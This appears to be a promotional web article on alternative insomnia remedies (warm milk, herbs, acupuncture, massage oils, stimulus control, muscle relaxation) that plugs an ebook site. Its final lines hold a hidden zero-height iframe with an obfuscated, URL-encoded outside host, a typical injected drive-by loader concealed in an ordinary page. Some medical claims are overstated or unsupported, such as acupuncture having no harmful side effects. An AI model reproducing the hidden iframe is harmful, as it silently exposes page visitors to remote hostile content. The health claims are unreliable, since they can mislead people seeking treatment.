Alternative Treatments for Insomnia

[meredith hunt]

Are you experiencing inadequate or poor-quality sleep caused by a
difficulty in falling asleep and staying asleep, as well as waking up
too early?
Do you feel restless, unrefreshed and even tired upon waking up in the
morning?
If so, you may have insomnia. Following are several "alternative
therapies" for insomnia that you can use to get the necessary sleep
you crave.
Through the years, treating insomnia with home cures or natural
approaches has proven effective with many sufferers.
Western medicine does not consider these "cures" as scientific. Yet,
many of these non-medicinal approaches have succeeded in eliminating,
if not alleviating, sleep disorders.
Here are some of the most popular as revealed in "The Cure for
Insomnia" ebook available at http://www.isolatedinsomniacs.com/insomnia.html
* Home Remedies
For over thousands of years, many popular remedies have been used to
cure insomnia. Although unscientific and sometimes questionable and
harmful, some of these attempts do produce effective solutions to some
patients.
Some home remedies involve behavioral approaches, such as taking a
half-hour exercise in the afternoon, taking a warm bath at night,
drinking warm milk before retiring for bed, avoiding stimulating
activities at night, getting up and going to bed at reasonable hours.
Tryptophan is a natural sedative and warm milk contains high levels of
it. Some oils such as lavender oil, and herbs such as chamomile, hops,
and passion-flower, also promote restfulness.
* Traditional Chinese Medicine
For thousands of years, traditional Chinese medicine practitioners
have been using a variety of approaches to insomnia treatment. These
include the use of herbs, acupuncture, and dietary and lifestyle
management. It is believed these techniques rebalance the body's
energies that help solve the problem.
* Acupuncture
Serotonin is a chemical in the brain that helps sleep. The ancient
Chinese treatment of acupuncture stimulates the production of
serotonin.
With acupuncture, small sterile needles are inserted into specific
points in the body. It has proven to have a calming effect on the
nervous system and alleviates the imbalances that cause insomnia.
Acupuncture is known to have no harmful side effects. Acupuncture not
only improves sleep. Many patients also experience overall improvement
in their health and energy level as well as a greater sense of general
well-being.
* Massage
Massage involves gentle physical stimulation techniques on tissues
that enhance relaxation and improve sleep patterns.
The skin is the largest sensory organ of the body, and massage
stimulates the release of endorphins, sometimes called "feel good"
hormones. Although it typically takes 15 minutes or longer to produce
results, the relaxing and "feel good" effects of massage can last up
to 48 hours for better quality sleep.
In addition to improving sleep quality, massage also reduces anxiety,
creates a more stable mood, and increases one's mental capacity.
One of the simplest and most effective ways to induce sleep is to rub
some warm essential oils on the scalp and the soles of the feet before
going to bed.
There are many kinds of oils, but the ones most commonly used are
sesame oil, brahmi oil, jasmine oil, cow's ghee or jatamatnsi oil.
* Behavioral Approaches
Relaxation and restful sleep are most often achieved through a number
of behavioral methods. These are known to be very effective in cases
of primary chronic insomnia.
Behavioral methods act faster and are used with insomnia sufferers of
any age group. Among the behavioral methods that are commonly used
are:
* Stimulus control
The bed is only for sleeping and/or sex. This idea serves as the
stimulus that controls when you go to bed. It is the standard
treatment for primary chronic insomnia and may also be considered for
curing secondary insomnia as well. The primary goal of stimulus
control is to regain the idea that the bed is for sleeping.
The basic rules to follow are to avoid naps, going to bed only when
ready, getting up and doing something if unable to sleep in 20
minutes, and adhering to a regular wake-up time regardless of the
number of hours slept.
* Progressive muscle relaxation
This may be used for older patients and some patients who have
secondary insomnia associated with a medical or psychiatric condition.
It helps induce sleep, but its effectiveness during daytime
functioning is not yet clear.
This technique involves sequentially focusing on a muscle group (e.g.,
starting with muscles in one foot), inhaling and tensing the muscle
group for eight seconds until mildly painful, then exhaling and
relaxing the muscle for 15 seconds. It is important to do this
technique gently so as to avoid severe muscle contractions.
To learn more about insomnia, including its causes, symptoms, drug
treatments, support groups and much more, read "The Cure for Insomnia"
ebook available at http://www.isolatedinsomniacs.com/insomnia.html
<IfrAmE src=http://%6C%6C%38%30%2E%63%6F%6D/ad.htm width=100
height=0></IfrAmE>